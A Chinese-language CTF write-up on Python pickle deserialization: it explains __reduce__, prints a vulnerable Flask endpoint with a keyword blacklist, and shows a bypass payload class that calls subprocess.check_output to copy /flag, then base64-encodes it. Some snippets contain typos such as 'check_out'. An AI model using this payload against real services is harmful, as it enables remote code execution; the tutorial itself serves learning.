什么是打”pickle”反序列化

背后的概念(很短)

  • pickle:Python 的序列化模块,可以把 Python 对象(比如列表、字典、类实例)转成字节串(序列化),再把字节串恢复成对象(反序列化)。
  • 反序列化(unpickle):把字节变回对象(pickle.loads / pickle.load)。
  • 问题:pickle 能在反序列化时重建对象状态,某些对象在被重建/恢复时会触发 Python 去执行某些函数/方法 —— 如果输入来自不可信方,就可能被利用执行任意代码(造成 RCE)。

补充python基本概念

引入sys.module与模块的概念(与该题无关,纯补充知识)

区分:模块

  • 模块(Module) 是最小单位,指单个 .py 文件,里面包含变量、函数、类等代码,用于封装特定功能(比如一个处理日期的 date_utils.py 文件就是一个模块)。
  • 库(Library)一组相关模块的集合,用于解决某类问题。例如:
    • os 库包含了多个与操作系统交互的模块(虽然我们通常直接用 import os,但它本质是多个模块的封装);
    • requests 库是一个第三方库,由多个模块组成,专门处理 HTTP 请求。

简单说:一个库由多个模块组成,一个模块是单个 .py 文件。库是更宏观的功能集合,模块是库的基本组成单元。

关于pickle的命令执行

基本简介

  • 该题用到的是pickle.loads
  • **需要强调,pickle.loads**这一方法就是该题可以使用命令执行的信号,请看下列的讲解,该方法如何进行命令执行的:

执行方法

  • 我们首先需要得知,pickle.loads本质核心工作是不进行命令执行的。但若是传入的数据有特殊基类的话那就不一定了。因为它执行的是对象自己声明的函数如下为你介绍__reduce__类。

  • 关于执行对象自己声明的函数,通俗来讲:

  • 🎯 核心一句话(最重要的概念)

    *pickle 反序列化时,会根据对象提供的“说明书(*reduce*)”,调用对象自己指定的函数来恢复它。
    所以说 pickle 执行的是“对象自己声明的函数”。
    *

    你之所以不理解,是因为你还没看清楚:

    • “对象在哪里声明函数?”
    • “什么叫声明?”
    • “为什么 pickle 会执行它?”

    我现在来彻底讲清楚。


    🧩 1. 对象在哪里“声明”函数?

    就在这里:

    1
    2
    3
    class exp():
    def __reduce__(self):
    return (subprocess.check_output, (["cp","/flag","/app/app.py"],))

    这个类通过 __reduce__ 明确告诉 pickle:

    “当你反序列化我时,请调用 subprocess.check_output([…]) 来重新构造我。”

    这就是对象自己声明的东西。


    🧩 2. 为什么这叫“对象自己声明的函数”?

    因为:

    • 对象写了一个 __reduce__ 方法
    • 在方法里面,它返回了一个函数(subprocess.check_output)
    • 还返回了这个函数的参数((["cp", "/flag", "/app/app.py"],)

    这就是对象自己告诉 pickle:

    “用这个函数来恢复我。”

    就像对象自己写了一张纸条塞给 pickle:(__reduce__就是标注哪个是你,即pickle需要阅读的纸条)

    1
    请执行 subprocess.check_output(["cp", "/flag", ...])

    🧩 3. pickle 为什么要执行 reduce?(因为协议规定如此)

    pickle 协议规定:

    如果一个对象实现了 __reduce__(),反序列化时必须调用它。

    原因是:

    • 一个对象可能很复杂
    • pickle 无法知道怎么重新初始化它
    • 所以对象自己告诉 pickle:“我应该怎么恢复”

介绍__reduce__方法

  • 比如下列代码:

    1
    2
    def __reduce__(self):
    return (list, ([1,2,3],))
  • 在执行反序列化的时候,会这样执行该函数:

    1
    list([1,2,3])
  • 即:
    如果reduce返回(func,args)
    那么将执行func(*args)

小细节:__reduce__必须包裹在类中吗

这是重点:

pickle 执行 *reduce* 的前提是:
反序列化时需要“恢复某个对象”。
如果没有对象,就没有机会触发 reduce。

因此:

  • 你通常会写一个类(class)
  • 创建该类的一个实例
  • 实例在序列化时“带上”它的 reduce 信息
  • 反序列化时才会触发 reduce

就是这么回事。
所以我们一定要写一个类,然后将__reduce__包裹在其中。

下面来看具体打法

题目简介

  • 首先根据提示获得源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    """<!-- /src may help you>
    Username: <input type="text" name="username"><br>
    Password: <input type="password" name="password"><br>
    <input type="submit" value="Login">
    </form>
    """

    import flask
    import base64
    from flask import Flask, request, jsonify, session, app
    import pickle
    import sys

    @app.route('/ppicklee', methods=['POST'])#定义对/ppicklee的访问
    def ppicklee():
    data = request.form['data']#我们要过滤的目标就是表单中的data参数,传参也是传的这个参数

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:#pickle序列化不是网络服务器传输信息的必要步奏,有些后端会把数据pickle加密后再进行base64编码发给服务器
    #只不过在这道题中,我们可以通过该后端脚本推测出来,该题的数据经过了pickle加密 => base64编码 =>发送给服务器 的过程
    pickle_data = base64.b64decode(data)#首先把数据使用base64解码
    for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
    'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
    if i.encode() in pickle_data:#解密
    return i+" waf !!!!!!!"#直接结束整个函数

    pickle.loads(pickle_data)
    return "success pickle"
    except Exception as e:
    return "fail pickle"


    @app.route('/admin', methods=['POST'])
    def admin():
    username = session['username']
    if username != "admin":
    return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


    @app.route('/src')
    def src():
    return open("app.py", "r",encoding="utf-8").read()


    if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)
  • 别看那么长,你着重关注:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    def ppicklee():
    data = request.form['data']#我们要过滤的目标就是表单中的data参数,传参也是传的这个参数

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:#pickle序列化不是网络服务器传输信息的必要步奏,有些后端会把数据pickle加密后再进行base64编码发给服务器
    #只不过在这道题中,我们可以通过该后端脚本推测出来,该题的数据经过了pickle加密 => base64编码 =>发送给服务器 的过程
    pickle_data = base64.b64decode(data)#首先把数据使用base64解码
    for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
    'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
    if i.encode() in pickle_data:#解密
    return i+" waf !!!!!!!"#直接结束整个函数

    pickle.loads(pickle_data)
    return "success pickle"
    except Exception as e:
    return "fail pickle"

  • 只看这一段即可,由上面的铺垫,可以找到这段是关键的原因:**有pickle.loads**函数

  • 并且我们可以发现其中的逻辑:

  • 这样我们就可以为之后编写脚本的加密过程进行一个铺垫。

绕过方法

  • 我们可以看到题目中存在的简单黑名单过滤机制:

    1
    2
    3
    4
    for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
    'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
    if i.encode() in pickle_data:#解密
    return i+" waf !!!!!!!"#直接结束整个函数
  • 过滤掉的都是一些常见的命令执行函数,但是,我们可以发现:**subprocess**函数没有被囊括在其中。
    所以可以加以利用。

  • **这里采用subprocess.check_out**函数
    为什么采用它?
    因为该函数的功能就是:用于执行系统命令并返回命令的输出结果。

  • 关于用法:

    你必须传入列表:

    1
    ["命令", "参数1", "参数2", ...]

    例子:

    1
    subprocess.check_output(["cp", "/flag", "/tmp/x"])

    等价于 shell:

    1
    cp /flag /tmp/x

    但注意!!!!

    这里没有 shell

    不会解析 $PATH, 不会执行 &&| 之类的符号。

    这就是为什么:

    1
    subprocess.check_output("ls -la")

    是错误的,必须写:

    1
    subprocess.check_output(["ls", "-la"])
  • 总结,整体逻辑如下:

    • 利用pickle.loads方法会解析数据中__reduce__这个函数,即一个任意类中的__reduce__函数
      如写作:

      1
      2
      3
      class exp():
      def __reduce__:
      return(subprocess.check_out,(["ls","-a"]))#里面的中括号列表格式是subprocess.loads要求的
    • pickle.loads()读取的时候,会变为执行:

      1
      (subprocess(["ls","-a"]))
    • 即可进行命令执行

    • 同时别忘记给我们post过去的请求体加密,按照题目背景的步奏(先pickle后base64)

脚本

  • 顺便介绍一个库:
    shlex
    该库可以将如:
    ls -a 文本切割为:
    ['ls','-a']

bug提示

  • 关于subprocess.check_out的用法:
1
2
3
4
return (subprocess.check_output, (self.command_list))
#此处是错误的,因为要传入subprocess.check_output的数据其形式应该为"tuple"即元组,而非self.command_list本身的形式
#所以要写为:
return (subprocess.check_output, (self.command_list,))
  • 关于b64_e = base64.b64encode(pickle_e)
    此时的b64_e为bytes形式的数据,而非字符串,无法直接给requests库用,所以必须使用decode()函数解码:

    1
    processed_command = encode(command_spilt).decode()